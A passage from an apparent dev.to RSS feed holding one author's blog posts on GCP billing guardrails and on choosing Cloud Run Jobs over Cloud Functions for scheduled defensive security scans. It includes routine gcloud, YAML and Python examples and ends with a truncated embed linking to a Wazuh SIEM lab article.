&lt;p&gt;The framework, stripped down, is five questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What shape is the traffic — requests, jobs, or persistent agents?
&lt;/li&gt;
&lt;li&gt;How much operational toil can your actual team afford?
&lt;/li&gt;
&lt;li&gt;What does the cost curve look like for your shape, on your worst day?
&lt;/li&gt;
&lt;li&gt;Can you name the specific control you need that your current platform lacks?
&lt;/li&gt;
&lt;li&gt;What happens when you are not there to fix it?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Answer those honestly and the platform usually picks itself. For my security tooling, today, it picks Cloud Run. I expect that answer to change for some future workload, and when it does, I will write that post too — because the interesting story was never "I chose X." It is always "here is what changed, and here is what I learned from choosing wrong the first time."&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>cloud</category>
      <category>devops</category>
      <category>startup</category>
    </item>
    <item>
      <title>The Cost Guardrails I Set Up Before GCP Could Surprise Me</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Mon, 12 Oct 2026 20:08:03 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/the-cost-guardrails-i-set-up-before-gcp-could-surprise-me-2nng</link>
      <guid>https://dev.to/purvanshbhatt/the-cost-guardrails-i-set-up-before-gcp-could-surprise-me-2nng</guid>
      <description>&lt;p&gt;Solo builders do not have a finance department. I am the finance department. So before I let any real workload touch my GCP project, I spent one evening building billing guardrails. Not because I am frugal for its own sake — because a surprise bill is the fastest way to kill momentum on a side project.&lt;/p&gt;

&lt;p&gt;Here is what I set up, in the order I did it, and what each layer actually caught.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 1: budgets with teeth
&lt;/h2&gt;

&lt;p&gt;The first thing I did was create a billing budget in the Cloud Billing console. Not the vague kind — a budget with notification thresholds at 50%, 90%, and 100% of the monthly amount I am willing to spend on the personal project.&lt;/p&gt;

&lt;p&gt;The part people skip: &lt;strong&gt;the 100% alert alone is useless.&lt;/strong&gt; By the time you hit 100% of a monthly budget, the month is over. The 50% alert is the useful one — it tells you mid-month that your burn rate is off. My first month, the 50% alert fired on the 11th because I had left a Cloud SQL instance running at full size for a dev database. That alert paid for the whole evening of setup.&lt;/p&gt;

&lt;p&gt;Programmatic version, if you prefer IaC:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud billing budgets create &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--billing-account&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;BILLING_ACCOUNT_ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--display-name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"personal-project-monthly"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--budget-amount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100USD &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--threshold-rule&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;percent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;50,basis&lt;span class="o"&gt;=&lt;/span&gt;current-spend &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--threshold-rule&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;percent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;90,basis&lt;span class="o"&gt;=&lt;/span&gt;current-spend &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--threshold-rule&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;percent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100,basis&lt;span class="o"&gt;=&lt;/span&gt;current-spend &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--all-updates-rule-pubsub-topic&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;projects/my-project/topics/billing-alerts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Routing the notifications to a Pub/Sub topic matters. Email alerts get buried. A Pub/Sub topic lets you push to Slack, page yourself, or — and this is what I did — trigger a Cloud Function that posts the alert to a channel I actually read.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 2: label everything, then look at it
&lt;/h2&gt;

&lt;p&gt;Budgets tell you &lt;em&gt;that&lt;/em&gt; you are spending. Labels tell you &lt;em&gt;where&lt;/em&gt;. I enforce labels on every resource: &lt;code&gt;env&lt;/code&gt; (prod/staging/dev), &lt;code&gt;service&lt;/code&gt; (api/scanner/frontend), and &lt;code&gt;owner&lt;/code&gt; (me). Then I check the billing breakdown by label group weekly. It takes five minutes.&lt;/p&gt;

&lt;p&gt;The honest truth: the first time I did this, staging was costing more than production. A Cloud Run service in staging had min-instances set to 1 "temporarily" — three weeks earlier. The label breakdown found it in one glance. Min-instances is the silent budget killer on Cloud Run for solo projects: it keeps containers warm 24/7, and you pay for idle vCPU. Set it to zero everywhere except the one path where cold-start latency actually matters to users.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 3: anomaly detection, not just thresholds
&lt;/h2&gt;

&lt;p&gt;Billing budgets are static thresholds. They do not catch the weird case: a misconfigured retry loop that doubles your Pub/Sub bill while staying under every threshold you set. For that, GCP's cost anomaly detection (in the billing console's cost management view) watches for spend patterns that deviate from your baseline.&lt;/p&gt;

&lt;p&gt;I treat it as a second opinion. The thresholds catch runaway linear growth; anomaly detection catches the shape-change — the Tuesday that looks nothing like other Tuesdays. The one real catch it gave me: a Cloud Scheduler job I had set to every minute during testing, still running against production endpoints. The spend was small in absolute terms. The pattern was wrong, and the anomaly alert flagged it before I noticed the Scheduler page myself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 4: hard caps where I can get them
&lt;/h2&gt;

&lt;p&gt;Not everything on GCP supports a hard spending cap, and you should know that going in. Some services let you set quotas that effectively cap spend; others do not. What I did:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cloud Run:&lt;/strong&gt; set &lt;code&gt;max-instances&lt;/code&gt; on every service. This is the single most important setting. A runaway scale-out from a retry storm is how horror stories start. My API service: max-instances 10. My scan jobs: max-instances bounded by task count. The frontend: max-instances 3.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BigQuery:&lt;/strong&gt; I do not run BigQuery in the personal project yet, but the rule I would apply: custom quotas on query bytes per day, because on-demand BigQuery pricing is the classic surprise-bill vector.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud Storage:&lt;/strong&gt; lifecycle rules that delete or downclass old objects. Scan artifacts older than 90 days get deleted automatically. Storage is cheap per GB, but unbounded retention is how "cheap" becomes a line item.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# the one command I run on every new Cloud Run service&lt;/span&gt;
gcloud run services update my-service &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--max-instances&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--min-instances&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Layer 5: alerts that act, not just notify
&lt;/h2&gt;

&lt;p&gt;An alert you have to read is an alert you will eventually ignore. So the Pub/Sub topic from Layer 1 feeds a small Cloud Function that does two things: it posts the budget alert to a Slack channel I check daily, and it writes the event to a Firestore collection that my weekly review reads from. The second part matters more than it sounds — when Sunday review rolls around, I do not have to remember what fired during the week. The log remembers.&lt;/p&gt;

&lt;p&gt;I considered going further — automatic shutdowns when spend crosses a hard line. I decided against it. Auto-shutdowns trade one failure mode (overspend) for another (killing production because a threshold was miscalibrated). For a solo builder, an aggressive page beats an automatic kill switch. I want to be woken up; I do not want a script making availability decisions for me.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 6: the weekly five-minute review
&lt;/h2&gt;

&lt;p&gt;Automation covers the surprises. Discipline covers the drift. Every Sunday I open the billing dashboard, look at the week-over-week trend by service, and ask one question: &lt;em&gt;is there anything here I cannot explain?&lt;/em&gt; Five minutes. It has caught a forgotten load balancer, a logging sink writing to a bucket I no longer needed, and one Cloud Function with a memory allocation four times what the workload required.&lt;/p&gt;

&lt;p&gt;I also export billing data to BigQuery (the billing export is free to enable; you pay standard BigQuery rates for the dataset, which is trivial at this scale). I do not query it often. But when something looks off, having the raw data means I can answer "what exactly cost this" in SQL instead of clicking through the console.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I would skip
&lt;/h2&gt;

&lt;p&gt;Not everything is worth doing on day one. I skipped committed-use discounts — they require predictable baselines I did not have yet. I skipped the FinOps dashboards people build with Looker — overkill for one person. And I skipped trying to optimize per-request cost before I had real traffic. Premature cost optimization is the same disease as premature performance optimization: it burns the evening you could have spent shipping.&lt;/p&gt;

&lt;h2&gt;
  
  
  The real lesson
&lt;/h2&gt;

&lt;p&gt;The guardrails are not about spending less. They are about spending &lt;em&gt;without thinking about it&lt;/em&gt;. Every alert I do not have to investigate manually is attention I keep for the actual work. Solo building is an attention game more than a money game. A $3 surprise is annoying; a week of second-guessing every deploy because you are scared of the bill is fatal.&lt;/p&gt;

&lt;p&gt;Set the budgets, cap the instances, label everything, check in weekly. One more habit worth building early: whenever you change infrastructure — new service, new schedule, new database — add the guardrail in the same change. A max-instances flag set at deploy time is free. Remembering to set it three weeks later, after the first scary bill, is not. Then stop thinking about the bill and go build.&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>beginners</category>
      <category>productivity</category>
      <category>startup</category>
    </item>
    <item>
      <title>Cloud Run Jobs vs. Cloud Functions for Batch Security Scans: What I Actually Run in Production</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Mon, 12 Oct 2026 20:07:24 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/cloud-run-jobs-vs-cloud-functions-for-batch-security-scans-what-i-actually-run-in-production-kai</link>
      <guid>https://dev.to/purvanshbhatt/cloud-run-jobs-vs-cloud-functions-for-batch-security-scans-what-i-actually-run-in-production-kai</guid>
      <description>&lt;p&gt;I run periodic security scans as part of my incident-readiness platform: dependency checks, config drift detection, TLS posture checks against customer-facing assets. All of it is batch work on a schedule, not request-driven. When I first designed the pipeline, the obvious GCP answer was Cloud Functions — trigger on a Pub/Sub message from Cloud Scheduler, do the scan, write results to a database, done. It worked. It was also the wrong choice, and it took me a month of fighting timeouts and half-finished scans to figure out why.&lt;/p&gt;

&lt;p&gt;This post is the decision framework I wish I had: when to use Cloud Functions and when to use Cloud Run Jobs for security batch work, with the actual code and configs that run in production today.&lt;/p&gt;

&lt;h2&gt;
  
  
  The workload
&lt;/h2&gt;

&lt;p&gt;Let me be specific about what the scans look like, because the choice depends entirely on workload shape:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dependency scan:&lt;/strong&gt; pull a lockfile manifest from a repo, compare pinned versions against OSV/known advisory feeds, emit findings. Runtime: 2–8 minutes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Config drift check:&lt;/strong&gt; pull the last-known-good config from Cloud Storage, diff against live config fetched via API, emit drift findings. Runtime: 1–3 minutes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TLS posture sweep:&lt;/strong&gt; handshake against a list of hostnames, record certificate expiry and protocol versions. Runtime: 5–15 minutes depending on list size.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these are fast enough to ignore timeout limits. That is the entire story, but the details matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Cloud Functions stopped fitting
&lt;/h2&gt;

&lt;p&gt;Cloud Functions (2nd gen runs on Cloud Run infrastructure, so the underlying tech is the same) has a hard ceiling: &lt;strong&gt;60-minute max timeout&lt;/strong&gt; for HTTP functions, 9 minutes for event-driven (1st gen). My TLS sweep occasionally crossed 15 minutes for larger host lists, and that was fine — but the dependency scan had a nasty failure mode. When a container registry was slow, image pulls inside the function stalled, and I could not control the timeout granularity per stage. More importantly, Cloud Functions gives you a request lifecycle: your work is tied to a request context, and long-running work fights that model. You end up writing continuation logic — publish a Pub/Sub message to re-trigger yourself, persist partial state, hope the chain completes. It works until it does not, usually at 3 AM.&lt;/p&gt;

&lt;p&gt;The other issue: &lt;strong&gt;concurrency semantics.&lt;/strong&gt; A Cloud Function instance handles requests with configured concurrency, which is great for webhooks and terrible for scans. I do not want two scans of the same asset running concurrently because Scheduler fired twice. With Cloud Functions I had to build idempotency locks myself (a row in Cloud SQL with a lease). With Jobs, the execution model handles this natively.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Cloud Run Jobs gives you instead
&lt;/h2&gt;

&lt;p&gt;A Cloud Run Job is a container that runs to completion. You define the task count and parallelism, Scheduler or Pub/Sub triggers an execution, and the job runs until it exits. The timeout ceiling is &lt;strong&gt;24 hours&lt;/strong&gt;. You get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;One container, one task.&lt;/strong&gt; No request context, no concurrency confusion. The container starts, does the work, exits with a code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parallelism control.&lt;/strong&gt; A TLS sweep over 200 hosts splits into N task replicas, each handling a shard. You get horizontal fan-out without writing a fan-out layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retries that make sense.&lt;/strong&gt; Failed executions retry the task, not a chained request. You can set max retries per execution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Direct Cloud Scheduler targeting.&lt;/strong&gt; Scheduler invokes the job directly via the Cloud Run Admin API — no intermediate HTTP endpoint, no Pub/Sub hop required (though Pub/Sub-triggered execution is supported).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the actual pattern I run. One container image per scan type, defined as a Job, triggered by Cloud Scheduler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# cloud-run-job.yaml&lt;/span&gt;
&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;run.googleapis.com/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Job&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tls-posture-scan&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;project-number"&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gcr.io/my-project/tls-scan:v1.4.2&lt;/span&gt;
              &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                &lt;span class="na"&gt;limits&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                  &lt;span class="na"&gt;cpu&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2"&lt;/span&gt;
                  &lt;span class="na"&gt;memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;2Gi&lt;/span&gt;
              &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HOST_LIST_GCS&lt;/span&gt;
                  &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gs://scan-configs/hosts.txt"&lt;/span&gt;
                &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;DB_CONNECTION_NAME&lt;/span&gt;
                  &lt;span class="na"&gt;valueFrom&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                    &lt;span class="na"&gt;secretKeyRef&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;db-connection&lt;/span&gt;
                      &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;connection-string&lt;/span&gt;
          &lt;span class="na"&gt;taskCount&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8&lt;/span&gt;
          &lt;span class="na"&gt;parallelism&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;
          &lt;span class="na"&gt;maxRetries&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;
          &lt;span class="na"&gt;timeoutSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3600&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deploy and schedule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcloud run &lt;span class="nb"&gt;jobs &lt;/span&gt;create tls-posture-scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt; gcr.io/my-project/tls-scan:v1.4.2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tasks&lt;/span&gt; 8 &lt;span class="nt"&gt;--max-retries&lt;/span&gt; 2 &lt;span class="nt"&gt;--task-timeout&lt;/span&gt; 3600 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east1

gcloud scheduler &lt;span class="nb"&gt;jobs &lt;/span&gt;create http nightly-tls-scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--schedule&lt;/span&gt; &lt;span class="s2"&gt;"0 3 * * *"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--uri&lt;/span&gt; &lt;span class="s2"&gt;"https://us-east1-run.googleapis.com/apis/run.googleapis.com/v1/namespaces/PROJECT_NUMBER/jobs/tls-posture-scan:run"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-method&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--oauth-service-account-email&lt;/span&gt; scheduler-runner@my-project.iam.gserviceaccount.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--time-zone&lt;/span&gt; &lt;span class="s2"&gt;"America/New_York"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Scheduler job invokes the Run Admin API directly. No public HTTP endpoint on the scan container, no Pub/Sub topic to manage. The service account &lt;code&gt;scheduler-runner&lt;/code&gt; needs exactly one role: &lt;code&gt;roles/run.developer&lt;/code&gt; on the job. That is the entire IAM surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  Inside the container: sharding work across tasks
&lt;/h2&gt;

&lt;p&gt;Cloud Run Jobs exposes &lt;code&gt;CLOUD_RUN_TASK_INDEX&lt;/code&gt; and &lt;code&gt;CLOUD_RUN_TASK_COUNT&lt;/code&gt; as environment variables. Your code shards on those:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;task_index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CLOUD_RUN_TASK_INDEX&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;task_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CLOUD_RUN_TASK_COUNT&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_hosts_from_gcs&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;          &lt;span class="c1"&gt;# full list, every task reads it
&lt;/span&gt;    &lt;span class="n"&gt;shard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;task_count&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;task_index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;scan_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;shard&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;write_findings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# idempotent upsert keyed on (host, check, date)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The upsert must be idempotent keyed on natural keys. Retries re-run the shard, and a retried shard must not double-count findings. That is the one piece of discipline the model requires of you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I still use Cloud Functions for
&lt;/h2&gt;

&lt;p&gt;This is not a "Jobs won" post. Cloud Functions still handles everything event-driven in my stack:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Pub/Sub message arrives when a new container image is pushed → a Function runs the image-layer vulnerability check. Runtime: under 2 minutes. This is webhook-shaped work and Functions fits it perfectly.&lt;/li&gt;
&lt;li&gt;A Security Command Center finding lands → a Function enriches it and writes a Slack-ready summary. Seconds of runtime, triggered by an event, no scheduling involved.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rule I now apply: &lt;strong&gt;if the work starts because something happened, use Functions. If the work starts because it is time, use Jobs.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The trade-offs, honestly
&lt;/h2&gt;

&lt;p&gt;Cloud Run Jobs is not free of friction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cold starts on schedules.&lt;/strong&gt; A job that runs nightly cold-starts every night. My scan containers pull in 20–40 seconds. I accept it because the scan itself takes minutes. If your batch work takes 45 seconds, a cold-started job is a bad trade — use a Function or keep a service warm.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No built-in progress visibility.&lt;/strong&gt; A job execution is either running, succeeded, or failed. There is no built-in "47% done" channel. I emit structured logs per shard and watch them in Cloud Logging. Fine, but it is manual.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logging is your debugger.&lt;/strong&gt; Failed executions give you exit codes and logs, nothing more. Structured JSON logging from the container is not optional — it is the only observability you get without building more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On cost: both are pay-per-use. Jobs bill for the vCPU/memory seconds of the execution. My nightly scans cost single-digit dollars a month at this scale. The billing model did not decide anything for me; the timeout and execution model did.&lt;/p&gt;

&lt;h2&gt;
  
  
  The migration checklist
&lt;/h2&gt;

&lt;p&gt;If you are moving batch work off Cloud Functions onto Jobs, the concrete steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Containerize the scan. You probably already have a Dockerfile if you are on 2nd-gen Functions — extract the logic into a &lt;code&gt;main()&lt;/code&gt; with a clean exit code contract.&lt;/li&gt;
&lt;li&gt;Replace request handlers with task-index sharding.&lt;/li&gt;
&lt;li&gt;Make result writes idempotent (natural-key upserts) — retries will re-run shards.&lt;/li&gt;
&lt;li&gt;Deploy as a Job, trigger from Cloud Scheduler via the Run Admin API, one service account with &lt;code&gt;roles/run.developer&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Emit structured logs per shard. You will need them.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Cloud Functions and Cloud Run Jobs solve different halves of the automation problem. Functions owns the event-driven half — webhooks, Pub/Sub, triggers. Jobs owns the scheduled batch half — scans, sweeps, reports. The mistake I made was treating them as interchangeable because they share infrastructure. They are not. Pick by trigger shape and runtime, and your security automation stops fighting the platform.&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>devops</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Sat, 10 Oct 2026 23:36:41 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/-4m90</link>
      <guid>https://dev.to/purvanshbhatt/-4m90</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/devyani_nandanwar_5/detection-engineering-lab-building-a-wazuh-siem-and-writing-a-custom-rule-for-ssh-brute-force-12dd" class="crayons-story__hidden-navigation-link"&gt;Detection Engineering Lab: Building a Wazuh SIEM and Writing a Custom Rule for SSH Brute Force&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/devyani_nandanwar_5" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4176045%2Fe03d3b34-7b0d-4e69-81db-5b400f7d7806.jpg" alt="devyani_nandanwar_5 profile" class="crayons-avatar__image"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
